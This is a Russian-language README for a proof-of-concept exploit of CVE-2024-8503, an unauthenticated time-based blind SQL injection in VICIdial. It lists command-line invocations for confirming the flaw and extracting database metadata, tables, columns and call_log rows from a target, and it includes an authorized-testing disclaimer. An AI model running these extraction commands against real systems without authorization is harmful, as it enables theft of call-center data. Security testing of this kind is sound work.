
Неавторизованный PoC временной слепой SQL-инъекции для VICIdial CVE-2024-8503, с извлечением метаданных, возобновляемыми сканированиями и строгими ограничениями безопасности.
Неаутентифицированная time-based слепая SQL-инъекция (blind SQLi) proof of concept для конечной точки VERM_AJAX_functions.php VICIdial (CVE-2024-8503). Проект предназначен только для авторизованного тестирования безопасности, валидации и обучения.
CVE-2024-8503 — это неаутентифицированная SQL-инъекция в VICIdial, где специально сформированное значение имени пользователя Basic Auth может достичь уязвимой логики запросов в VERM_AJAX_functions.php. Данный PoC использует time-based инференцию для подтверждения эксплуатабельности и извлечения ограниченных метаданных и данных таблиц контролируемым образом.
В этом выпуске действуют строгие ограничения proof-of-concept:
requestsУстановите зависимости:
pip install requests
Запустите локальную самопроверку, чтобы подтвердить конфигурацию без сетевых запросов:
python3 CVE-2024-8503-POC.py --self-check
Запустите базовое неинтерактивное сканирование:
python3 CVE-2024-8503-POC.py --url https://target.tld
Интерактивный режим — это отдельный рабочий процесс для управляемого оператором тестирования. Он полезен, когда вы хотите выполнять задачи извлечения вручную, а не одной командой.
python3 CVE-2024-8503-POC.py --url https://target.tld --interactive
Интерактивное меню поддерживает извлечение метаданных, обнаружение таблиц и столбцов, ручное извлечение, автоматическое извлечение, пользовательские запросы и возобновляемые полные сканирования.
Используйте эти команды, когда вам нужно выполнить конкретную задачу без входа в интерактивное меню.
Извлечение метаданных:
python3 CVE-2024-8503-POC.py --url https://target.tld --metadata db_version database db_user
Список таблиц:
python3 CVE-2024-8503-POC.py --url https://target.tld --list-tables
Получить столбцы для таблицы:
python3 CVE-2024-8503-POC.py --url https://target.tld --get-columns call_log
Извлечь определённые столбцы:
python3 CVE-2024-8503-POC.py --url https://target.tld --table call_log --columns uniqueid,channel --rows 3
Автоматическое извлечение данных таблицы:
python3 CVE-2024-8503-POC.py --url https://target.tld --auto-extract call_log
Полное сканирование:
python3 CVE-2024-8503-POC.py --url https://target.tld --full-scan
Пользовательский запрос (только SELECT):
python3 CVE-2024-8503-POC.py --url https://target.tld --custom-query "SELECT DATABASE()"
Опциональные флаги:
--path для изменения пути к конечной точке (по умолчанию: /VERM/VERM_AJAX_functions.php)--skip-vuln-check для пропуска начального зонда подтверждения уязвимости--export для сохранения результатов (JSON для метаданных/полного сканирования, CSV для данных таблиц)Прогресс автоматически сохраняется в:
.vicidial_scan_state.json
Если обнаружено предыдущее сканирование, скрипт предложит возобновить его или очистить состояние.
LICENSE; в этом README предполагается MIT.Этот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей. Несанкционированный доступ к компьютерным системам незаконен. Вы должны получить явное письменное разрешение перед тестированием любых систем, которые вам не принадлежат. Автор не несёт ответственности за неправомерное использование или ущерб, причинённый этим инструментом.
Этот проект распространяется под лицензией MIT. Подробности в файле LICENSE на уровне репозитория.